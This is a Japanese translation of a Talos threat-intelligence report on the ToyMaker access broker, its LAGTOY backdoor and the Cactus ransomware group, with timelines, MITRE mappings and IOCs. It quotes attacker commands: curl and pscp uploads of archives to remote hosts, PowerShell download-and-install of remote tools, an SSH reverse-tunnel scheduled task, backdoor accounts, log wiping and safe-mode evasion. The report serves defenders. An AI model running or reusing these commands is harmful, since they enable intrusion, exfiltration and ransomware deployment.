
- 2023 年に Cisco Talos は、複数の攻撃グループが共謀して関与した、重要インフラ企業に対する広範な侵害を発見しました。
- これらの攻撃グループは、初期アクセスから二重恐喝に至るまで、ネットワーク内の複数のホストをゆっくりと着実に侵害していきました。この過程で、さまざまなデュアルユースのツール(リモート管理ツール、SSH、ファイル転送ツール)を組み合わせて使用しています。
- Talos が「ToyMaker」と呼び、金銭目的の攻撃グループであると中程度の確信を持って評価している初期アクセスブローカー(IAB)は、インターネットに公開されている脆弱なシステムを悪用し、独自のバックドア「LAGTOY」を展開して被害企業からログイン情報を抜き取ります。LAGTOY は、リバースシェルを作成し、感染したエンドポイント上でコマンドを実行するために使用されます。
- LAGTOY による侵害は、他の攻撃グループへのアクセスの譲渡につながる可能性があります。具体的なところでは、ToyMaker が Cactus という二重恐喝を行う犯罪グループにアクセスを譲渡した事例を Talos は確認しています。Cactus は独自の戦術、手法、手順(TTP)を用いて、被害者のネットワーク上で悪意のある行動を実行していました。
ToyMaker が Cactus にアクセスを譲り渡すまでのタイムライン
Talos は、さまざまなエンドポイントへの侵入を分析し、最初の不正アクセスからアクセスの譲渡、それに続く二次的な悪意のある活動まで、イベントのタイムラインを構築しました。以下はイベントの大まかなタイムラインです。
活動日 | 悪意のある活動の種類 | 攻撃者 |
最初の不正アクセス | ユーザーの列挙
事前の偵察 偽のユーザーの作成 Magnet RAM Capture を使用したログイン情報の取得 |
ToyMaker |
2 日後 | LAGTOY インプラントを展開 | ToyMaker |
3 週間の活動休止 | ||
3 週間後 / Cactus 0 日目 | エンドポイントの列挙 | Cactus |
Cactus 2 日目 | サーバーとファイルの列挙
痕跡の削除 |
Cactus |
Cactus 2 日目と 3 日目 | 企業内への拡散 | Cactus |
Cactus 4 日目 | 漏洩と恐喝を目的とした機密データのアーカイブ | Cactus |
Cactus 8 日目 | 遠隔管理ツール(eHorus、RMS、AnyDesk)の展開
OpenSSH による接続 |
Cactus |
Cactus 12 日目 | ランサムウェアの展開を目的とした不正アカウントの作成 | Cactus |
Cactus 12 日目 | ボリュームシャドウコピーの削除
起動リカバリの変更 |
Cactus |
ToyMaker の TTP とツール
ToyMaker は、最初に不正アクセスしてから 1 週間以内に、事前の偵察を行って、ログイン情報を取得し、バックドアを展開しましたが、その後はそれ以上の活動を行っていません。Talos では、被害者固有のデータの漏洩も、他の価値あるエンドポイントを見つけて横展開しようとする試みも確認していません。約 3 週間の活動休止後、Cactus ランサムウェアグループが、ToyMaker が盗み出したログイン情報を使用して被害企業に侵入したことが確認されました。滞留時間が比較的短く、データを窃取していないこと、さらにアクセスを Cactus に譲り渡したことから、ToyMaker の動機や目的はスパイ行為ではなかったと考えられます。
したがって Talos は、ToyMaker が、価値の高い組織へのアクセスを確保し、そのアクセスを別の攻撃者に譲り渡す金銭目的の初期アクセスブローカー(IAB)であると評価しており、中程度の確信を持っています。ToyMaker がアクセスを譲り渡した攻撃者は通常、二重恐喝やランサムウェアの展開によって収益化を図ります。
ToyMaker による最初のアクセスと Cactus による二次的な活動における TTP は違っていて、タイムラインも異なるので、両方の脅威は別々にモデル化する必要があります。ただし、両者の関係をはっきりさせておくことが不可欠です。実際、同様の結びつきは、IAB と疑われるすべての脅威をモデル化する際のパラダイムに組み込む必要があります。Talos は今後のブログで、別々に展開されているものの、ある程度関連している脅威のモデル化と追跡のための新しい手法を提示していきます。
ToyMaker は、カスタムマルウェアファミリを使用することで知られています。このマルウェアは、Talos が LAGTOY として追跡しているバックドアです。ToyMaker は通常、インターネットに公開されているパッチ未適用のサーバーの既知の脆弱性を悪用することで、組織の環境に侵入します。侵入に成功すると、ほぼ即座にシステムを迅速に偵察します。
コマンド | 目的 |
whoami
net user net localgroup net group net user Administrator nltest /domain_trusts net group Enterprise Admins |
システム情報の検出 [T1082![]() |
ipconfig /all | 被害を受けたネットワークの情報収集 [T1590![]() |
偵察の後、「support」という名前の偽のユーザーアカウントが作成されます。
コマンド | 目的 |
net user support Sup0rtadmin /add
net localgroup administrators support /add |
アカウントの作成 [T1136![]() |
続いて、攻撃者は Windows OpenSSH パッケージ(sshd.exe)を使用して、エンドポイント上で SSH リスナーを起動します。その後、エンドポイントはネットワーク上の別の感染したホストからの接続を受信し、OpenSSH の SFTP サーバーモジュールである「sftp-server.exe」という名前のバイナリが作成されます。次に、sftp-server.exe はリモートホストに接続し、Magnet RAM Capture の実行ファイルをダウンロードします。
コマンド | 目的 |
MRCv120.exe /accepteula /silent /go | ログイン情報の抜き取り [T1003![]() |
Magnet RAM Capture は、無料で利用できるフォレンジックツールで、ホストのメモリダンプを取得し、そこからログイン情報を収集することができます。今回の攻撃では多数のシステムが侵害を受けたことを Talos は確認していますが、その理由はこの手口から説明がつきます。
メモリダンプは、7za.exe アーカイブ作成コマンドを使用してアーカイブされます [T1560]。
7za.exe a -p -mmt2 -mhe 1.7z 1.r
続いて、PuTTY の SCP ユーティリティ(pscp)を使用して、エンドポイントからアーカイブが外部に持ち出されます [T1048]。
pscp.exe-P 53 1.7z root@<Remote_IP>:/root
攻撃者はメモリダンプを取得すると、再び sftp-server.exe 接続を使用し、カスタムメイドのリバースシェルのインプラント「LAGTOY」をダウンロードして実行します。
LAGTOY は、サービスを作成することによってシステム上で永続化されます [T1543]。
sc create WmiPrvSV start= auto error= ignore binPath= C:\Program Files\Common Files\Services\WmiPrvSV.exe
このインプラントが、その内部に設定されている C2 サーバーにアクセスし、エンドポイントで実行する以下のようなコマンドを受信します。
コマンド | 目的 |
tasklist | システム情報の検出 [T1082![]() |
quser | システム情報の検出 [T1082![]() |
ipconfig /all | システム情報の検出 [T1082![]() |
LAGTOY – ToyMaker の主要なバックドア
LAGTOY はシンプルながら効果的なインプラントです。Mandiant 社ではこのバックドアを HOLERUN と呼んでいます。HOLERUN は、ハードコードされた C2 サーバーに定期的にアクセスし、感染したエンドポイントで実行するコマンドを取得します。システムにはサービスの一部としてインストールされ、C2 への接続を開始する前に、デバッグ回避のための初歩的なチェックを行います。
LAGTOY の実行ロジック
このマルウェアはデバッグ回避手法として、kernel32!SetUnhandledExceptionFilter() を使用してカスタムの未処理例外フィルタを登録します。マルウェアがデバッガの下で実行されている場合、このカスタムフィルタは呼び出されず、例外はデバッガに渡されます。したがって、未処理例外フィルタが登録されていて、制御が例外フィルタに渡された場合、そのプロセスはデバッガで実行されていないということになります。
LAGTOY は、感染したシステム上で「WmiPrvSV」という名前のサービスとして実行されるようになっています。
C2 の IP アドレスとプロトコルポートは LAGTOY にハードコードされています。通信には 443 番ポートが使用されます。この TCP ポートで通常用いられる TLS ではなく、raw ソケットが使用されます。
コマンドアンドコントロール通信
C2 は LAGTOY に以下のような特定の管理コードを送信します。
- 「#pt」:サービスを停止します。
- 「#pd」:処理中の実行チェーンから抜け、サービスが停止したかどうかを確認します。停止している場合は、一定時間スリープしてから C2 への接続を再開します。
- 「#ps」:プロセスやコマンドに必要な固有の処理を作成します。
- コードが「#」で始まらない場合は、提供されたコマンドまたはプロセス名をエンドポイントで実行します。
LAGTOY のコマンド認識ロジック
2022 年に Mandiant によって発見されたサンプルと比較すると、このサンプルにはコマンド用のプロセスを作成するための「#ps」ハンドラが追加されています。
2022 年のサンプルには「#ps」パラメータがない
時間ベースの実行
LAGTOY は、コマンドを実行する必要があるか、一定期間スリープする必要があるかを判断するために、独自の時間ベースのロジックを使用します。Talos は、これが LAGTOY ファミリのインプラントに固有の、カスタムビルドされた新しいロジックだと考えており、この評価に高い確信を持っています。
LAGTOY は C2 からの 3 つのコマンドを 11,000 ミリ秒のスリープ間隔で処理することができます。そのビーコン送信サイクルの間、LAGTOY は最後に C2 との通信に成功した時刻とコマンドの実行に成功した時刻を記録します。C2 から発行されたコマンドが 30 分以上失敗している場合、インプラントは C2 にコマンド実行の失敗を知らせるメッセージを送信します。
LAGTOY にはウォッチドッグルーチンが組み込まれており、累積実行時間が 60 分を超えるとコマンドの実行を停止し、サービスが停止したかどうかをチェックします。サービスがまだアクティブであれば、インプラントは C2 への接続を再開します。
LAGTOY の全体的なタイミングと C2 通信のロジック
ToyMaker がランサムウェアカルテルにアクセスを譲渡
ToyMaker は、被害企業へのアクセスを確立してからほぼ 1 か月後に、主にランサムウェアの展開と二重恐喝を行う別の攻撃グループである Cactus ランサムウェアのアフィリエイトにアクセスを譲渡しました。
Cactus グループは、企業を侵害する手段として LAGTOY を使用するのではなく、独自のマルウェアセットを展開し、独自の方法で偵察と永続化を行っていました。さらに、侵害を受けたエンドポイントに最初にアクセスする際は、ToyMaker がそれ以前に Magnet RAM Capture ツールを使用して不正に取得したユーザーログイン情報を使用していました。
初期の偵察とネットワークスキャン
Cactus は直ちに、関心のあるシステムと拡散方法を特定するためにネットワークスキャンを実施し始めました。ネットワーク全体に拡散するために、まず WSMAN 検出スクリプトを実行し、PowerShell リモート処理を行うように設定されているすべてのエンドポイントを列挙しました。
コマンド | 目的 |
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -ExecutionPolicy Bypass -File .\fs.ps1 result.csv | リモートシステムの検出 [T1018![]() |
C:\PerfLogs\Admin\7z.exe a -p<password> pss.7z .\result.csv
C:\PerfLogs\Admin\curl.exe -k -T .\pss.7z hxxps[:]//<remote_ip>:8443
C:\PerfLogs\Admin\7z.exe a -p<pwd> .\CP-SERVER3.7z .\CP-SERVER3.txt C:\PerfLogs\Admin\7z.exe a -p<pwd> .\FILEN01.7z .\FILEN01.txt
C:\PerfLogs\Admin\curl[.]exe -k -T .\CP-SERVER3.7z hxxps[://]<remote_ip>:8443 C:\PerfLogs\Admin\curl[.]exe -p -k -T .\FILEN01.7z hxxps[://]<remote_ip>:8443
C:\PerfLogs\Admin\7z[.]exe a -p<pwd> .\FILE-SERVER.7z .\FILE-SERVER[.]txt C:\PerfLogs\Admin\curl[.]exe -k -T .\FILE-SERVER.7z hxxps[://]<remote_ip>:8443 |
結果を圧縮してリモートサーバーへ送信
他の情報についても同様の処理を実行
データ漏洩 [T1048 |
攻撃者は情報を入手するとすぐに、アクセスの痕跡をすべて消去します。
コマンド | 目的 |
C:\Windows\system32\reg.exe delete HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\RunMRU /f | 痕跡の削除:コマンドの履歴の消去 [T1070![]() |
C:\Windows\system32\reg.exe delete HKEY_CURRENT_USER\Software\Microsoft\Terminal Server Client\Default /va /f
C:\Windows\system32\reg.exe delete HKEY_CURRENT_USER\Software\Microsoft\Terminal Server Client\Servers /f
C:\Windows\system32\reg.exe add HKEY_CURRENT_USER\Software\Microsoft\Terminal Server Client\Servers
C:\Windows\system32\attrib.exe %userprofile%\documents\Default.rdp -s -h |
痕跡の削除:ネットワーク接続の履歴と設定の消去 [T1070![]() |
net user support /delete | 痕跡の削除:永続化の手段の削除 [T1070![]() |
データ漏洩
取得したログイン情報を使用して多数のシステムにアクセスできるようになった ToyMaker は、それらのシステム上で価値のある情報を得るための偵察を行いました。これらのファイルは、7zip や curl などの複数のデュアルユースツールを使用してアーカイブされてから持ち出されたか、WinSCP のようなファイル転送ユーティリティを使用してそのまま漏洩されました [T1560、T1048
]。
C:\PerfLogs\Admin\7z.exe a -t7z -mx0 -v4g -spf -scsUTF-8 -bsp1 -ssw -p -xr!.ipa -xr!.apk -xr!.zip -xr!.rar -xr!.iso -xr!.dll -xr!.dl_ -xr!.lib -xr!.exe -xr!.ex_ -xr!.lnk -xr!.pdb -xr!.cab -xr!.msp -xr!.bak -xr!.old -xr!.bmp -xr!.gif -xr!.jpg -xr!.png -xr!.avi -xr!.m4v -xr!.mp4 -xr!.mp3 -xr!.wmv -xr!.wav -xr!.mov -xr!.mkv -xr!.log -xr!.csv -xr!*.jar -xr!test\ -xr!tests\ -xr!jdk8\ e:\tmp<filename>
C:\PerfLogs\Admin\7z.exe a -t7z -mx0 -v4g -spf -scsUTF-8 -bsp1 -ssw -p<password> -xr!*.ipa -xr!*.apk -xr!*.zip -xr!*.rar -xr!*.iso -xr!*.dll -xr!*.dl_ -xr!*.lib -xr!*.exe -xr!*.ex_ -xr!*.lnk -xr!*.pdb -xr!*.cab -xr!*.msp -xr!*.bak -xr!*.old -xr!*.bmp -xr!*.gif -xr!*.jpg -xr!*.png -xr!*.avi -xr!*.m4v -xr!*.mp4 -xr!*.mp3 -xr!*.wmv -xr!*.wav -xr!*.mov -xr!*.mkv -xr!*.log -xr!*.csv -xr!*.jar -xr!test\ -xr!tests\ -xr!jdk8\ e:\tmp\<filename>
他のエンドポイントでも、攻撃者が被害者の顧客データと思われる情報を発見し、漏洩させるためにアーカイブしていました [T1560、T1048
]。
C:\Windows\system32\cmd.exe /c <path>\7z.exe a -t7z -mx0 -ssp -spf -v5g -y -r -mhe=on <path>\0001.7z <path>Private Folder\Customers\<path> -p<password>
リモート管理ツールの使用
Cactus は、長期的なアクセスを維持するために、複数のエンドポイントでさまざまなリモート管理ツールを使用しました。たとえば次のようなツールです。
- eHorus エージェント:Pandora RC
としても知られるリモート制御ソフトウェア
- AnyDesk:リモートデスクトップ アプリケーション
- Remote Utilities for Windows Admin(RMS Remote Admin):ロシア製のリモート管理ツール/プラットフォーム
- OpenSSH:Windows OS に付属している、インストール可能な SSH パッケージ
これらのリモート管理ユーティリティは、PowerShell と Impacket を使用して、攻撃者が管理するリモートサーバーからダウンロードされました。
Impacket のコマンド | 目的 |
cmd.exe /Q /c powershell iwr -Uri http://<remote_IP>:7423/file.msi -OutFile C:\Programdata\f.msi 1> \\127.0.0.1\ADMIN$\__<random> 2>&1 | ステージ機能:マルウェアのアップロード [T1608![]() |
cmd.exe /Q /c msiexec.exe /i C:\Programdata\f.msi /q EHUSER=<username> STARTEHORUSSERVICE=1 DESKTOPSHORTCUT=0 1> \\127.0.0.1\ADMIN$\__<random> 2>&1 | システムバイナリプロキシ実行:Msiexec [T1218![]() |
別の事例では、攻撃者は OpenSSH を使用してリバースシェルを作成しました。スケジュールされたタスクが作成されており、1 時間ごとに C2 サーバーに接続し、コマンドを受信して実行するようになっていました。
コマンド | 目的 |
SCHTASKS /CREATE /RU SYSTEM /SC HOURLY /ST 14:00 /F /TN GoogleUpdateTaskMachine /TR cmd /c c:\Windows\temp\sys_log.bat > c:\Windows\temp\log.txt | スケジュールされたタスク/ジョブ [T1053![]() |
SCHTASKS /CREATE /RU SYSTEM /SC HOURLY /ST 14:00 /F /TN GoogleUpdateTaskMachine /TR cmd /c FOR /L %N IN () DO (C:\ProgramData\ssh\ssh.exe -o “StrictHostKeyChecking no” root@<remote_ip> -p 443 -R 25369 -NCqf -i “C:\Windows\temp\syslog.txt” & timeout /t 15) | スケジュールされたタスク/ジョブ [T1053![]() リモートサービス:SSH [T1021 |
Cactus ランサムウェアグループは運用上のセキュリティを重視しており、情報を持ち出す際に使用した SSH 秘密キーが含まれるファイルにアクセスできないようにします。これにより、通常の状況下では、被害者はキーを読み取れなくなります。
コマンド | 目的 |
icacls C:\Windows\Temp\syslog.txt
icacls.exe C:\Windows\temp\syslog.txt /c /t /inheritance:d icacls.exe C:\Windows\Temp\syslog.txt /c /t /remove BUILTIN\Administrators icacls.exe C:\Windows\Temp\syslog.txt /c /t /remove <userid> icacls.exe C:\Windows\temp\syslog.txt /inheritance:r /grant SYSTEM:F |
ファイルとディレクトリの権限の変更:Windows ファイルとディレクトリの権限の変更 [T1222![]()
syslog.txt は、攻撃者が管理するインフラストラクチャへの SSH 接続を開始するために使用される秘密キーです。 |
新しいユーザーアカウント
一部のエンドポイントでは、攻撃者が不正なユーザーアカウントを新たに作成しました。ランサムウェアの展開を容易にすることが目的だと思われます。
net user whiteninja <password> /add
reg add HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon /v LegalNoticeText /t REG_SZ /d /f
reg add HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon /v DefaultUserName /t REG_SZ /d whiteninja /f
reg add HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon /v AutoLogonCount /t REG_DWORD /d 1 /f
セーフモードの悪用による防御回避
Talos は調査を進める中で、侵害されたホストをセーフモードで再起動するために、攻撃者が以下のコマンドを実行したことを確認しました。
bcdedit /set {default} safeboot minimal
shutdown -r -f -t 0
システムをセーフモードで起動する目的は、システムが最小限のドライバとサービスだけを読み込むようにすることで、セキュリティ製品を無効化することだと考えられます。セーフモードでは、一部のセキュリティ製品が無効になるか機能が制限されるため、攻撃者はこの状況を利用してレジストリキーや設定を変更し、セキュリティ製品を完全に無効化することができます [T1562.001]。
Metasploit によって不正なコードが組み込まれたバイナリ
Cactus は、侵害されたシステム上でコードを実行するために、Windows ベースのバイナリである Putty と ApacheBench(Apache HTTP サーバーのベンチマークツール)に Metasploit シェルコードを組み込んだものも広く使用しています。これらのバイナリは、ポータブルな eHorus エージェントをホストしているサーバーと同じリモートサーバー(51[.]81[.]42[.]234)に接続します。接続に使用されるポートは 53、443、8343、9232 です。Cactus はさらに、同じリモート C2 サーバー(51[.]81[.]42[.]234)と通信する Metasploit で生成された ELF バイナリも使用していました。
リモートサーバーと通信する Metasploit シェルコード
カバレッジ
Cisco Secure Endpoint(旧 AMP for Endpoints)は、この記事で説明したマルウェアの実行を阻止するのに最適です。Cisco Secure Endpoint の無料トライアルはこちらからお申し込みください。
Cisco Secure Email(旧 E メールセキュリティ)は、攻撃の一環として攻撃者が送りつける不正な電子メールをブロックします。Cisco Secure Email の無料トライアルはこちらからお申し込みください。
Threat Defense Virtual、適応型セキュリティアプライアンス、Meraki MX など、Cisco Secure Firewall(旧次世代ファイアウォールおよび Firepower NGFW)アプライアンスは、この脅威に関連する悪意のあるアクティビティを検出できます。
Cisco Secure Network/Cloud Analytics(Stealthwatch/Stealthwatch Cloud)は、ネットワークトラフィックを自動的に分析し、接続されているすべてのデバイスで、望ましくない可能性があるアクティビティをユーザーに警告します。
Cisco Secure Malware Analytics(Threat Grid)は、悪意のあるバイナリを特定し、シスコのすべてのセキュリティ製品に保護機能を組み込みます。
Cisco Secure Access は、ゼロトラストの原則に基づいて構築された、最新のクラウド提供型セキュリティサービスエッジ(SSE)です。Cisco Secure Access はユーザーがどこで作業していても、インターネット、クラウドサービス、プライベート アプリケーションへのシームレスかつ透過的でセキュアなアクセスを提供します。Cisco Secure Access の無料トライアルにご興味をお持ちの場合は、シスコのアカウント担当者または認定パートナーまでお問い合わせください。
Umbrella(シスコのセキュア インターネット ゲートウェイ(SIG))は、社内ネットワークの内外で悪意のあるドメイン、IP、URL への接続をブロックします。
Cisco Secure Web Appliance(旧 Web セキュリティアプライアンス)は、危険性のあるサイトを自動的にブロックし、ユーザーがアクセスする前に疑わしいサイトを検査します。
特定の環境および脅威データに対する追加の保護機能は、Firewall Management Center から入手できます。
Cisco Duo は、ユーザーに多要素認証を提供し、承認されたユーザーのみがネットワークにアクセスできるようにします。
オープンソースの Snort サブスクライバルールセットをお使いであれば、Snort.org で購入可能な最新のルールパックをダウンロードすることで、最新状態を維持できます。
侵害指標(IOC)
この脅威の IOC は、こちらの GitHub リポジトリで提供しています。
ハッシュ – LAGTOY
fdf977f0c20e7f42dd620db42d20c561208f85684d3c9efd12499a3549be3826
Metasploit シェル
0a367cc7e7e297248fad57e27f83316b7606788db9468f59031fed811cfe4867
0bcfea4983cfc2a55a8ac339384ecd0988a470af444ea8f3b597d5fe5f6067fb
5831b09c93f305e7d0a49d4936478fac3890b97e065141f82cda9a0d75b1066d
691cc4a12fbada29d093e57bd02ca372bc10968b706c95370daeee43054f06e3
70077fde6c5fc5e4d607c75ff5312cc2fdf61ea08cae75f162d30fa7475880de
a95930ff02a0d13e4dbe603a33175dc73c0286cd53ae4a141baf99ae664f4132
c1bd624e83382668939535d47082c0a6de1981ef2194bb4272b62ecc7be1ff6b
ネットワーク IOC
ToyMaker
209[.]141[.]43[.]37
194[.]156[.]98[.]155
158[.]247[.]211[.]51
39[.]106[.]141[.]68
47[.]117[.]165[.]166
195[.]123[.]240[.]2
75[.]127[.]0[.]235
149[.]102[.]243[.]100
Cactus
206[.]188[.]196[.]20
51[.]81[.]42[.]234
178[.]175[.]134[.]52
162[.]33[.]177[.]56
64[.]52[.]80[.]252
162[.]33[.]178[.]196
103[.]199[.]16[.]92
本稿は 2025 年 4 月 23 日にTalos Group
のブログに投稿された「Introducing ToyMaker, an initial access broker working in cahoots with double extortion gangs
」の抄訳です。